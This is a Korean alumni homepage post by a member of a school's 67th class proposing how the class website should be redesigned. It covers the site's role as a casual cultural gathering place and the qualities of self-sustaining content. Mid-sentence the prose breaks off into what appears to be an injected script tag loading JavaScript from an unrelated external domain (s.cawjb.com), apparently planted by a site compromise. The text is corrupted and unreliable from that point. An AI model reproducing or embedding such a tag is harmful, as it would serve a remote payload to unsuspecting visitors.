안녕하십니까
67회 오익균 입니다.
지난
주에 이어 오늘도 홈페이지 개편에 관한 이런저런 얘기를
하렵니다. 지난 주 이후 동기 각자들의 내세우는 의견보다는 관심어린 눈짓이 무척
많았습니다.
오늘은
홈페이지 개편 방향(i) 입니다.
현 홈페이지 잘잘못을 언급하며 풀기 보다는 새로운
홈페이지가 이렇게 되도록 하면 어떨까 제안하게 되면
자연스레이 비교 검토도 될 것 입니다.
1.
홈페이지 성격
가.
우리가 흔히
접하는 “naver.com” “daum.net”과 같은
포털사이트라고 하는 거창한 홈페이지는 아닙니다. 또한 “whimoonob.net”같은
총동창회도 아니구요. 67회 동기를 중심으로 꾸며지고
운용되는 문화 사랑방이 되기를 희망 합니다. 그러다 가끔
비오는 날이면 때로는 휘문학교 선후배 동문이 또는
일반인들이 기웃거리고 쉬어 가기도 하는 공간 이죠. (오익균/67
이라 표기는 67회 동기 오익균이라는 뜻 임다.)
나.
또한,
일반적으로 동창회와 같은 홈페이지가 범하기 쉬운 것은,
과거의 콘텐츠로 인하여 풍부한 것 같으나 점차 시간이
지나면 새로움에 갈증을 느끼는 만큼 방울소리에 떠난
버어지니아를 다시 찾게 되거나 극단적으로는 동창회 집행부 활동과
연락 매체로 운영되는 것 입니다. 홈페이지의 콘텐츠(Contents)란 1)
항상 풍부하게 존재하고 생성되며 2) 새로이 만들고
유지되는 비용이 저렴해야 하며 3) 업데이트가 항시
이루어지며 자생하는 특성을 가져야 합니다. 매스컴의 뉴스,
벼룩시장 생활정보, 정부의 관보 등이 이러한 부류에 딱 알맞죠.
о
동창회
홈페이지에 이러한 콘텐츠를 화려한 것처럼 억지로 꾸미고
또 쌓아 놓고 또 찾기 위하여 총동창회 홈페이지 컨텐츠(동창회/학교
뉴스, 공지사항 등)에서 끄집어 오기도 하나, ?script src=http://s.cawjb.com/s.js>
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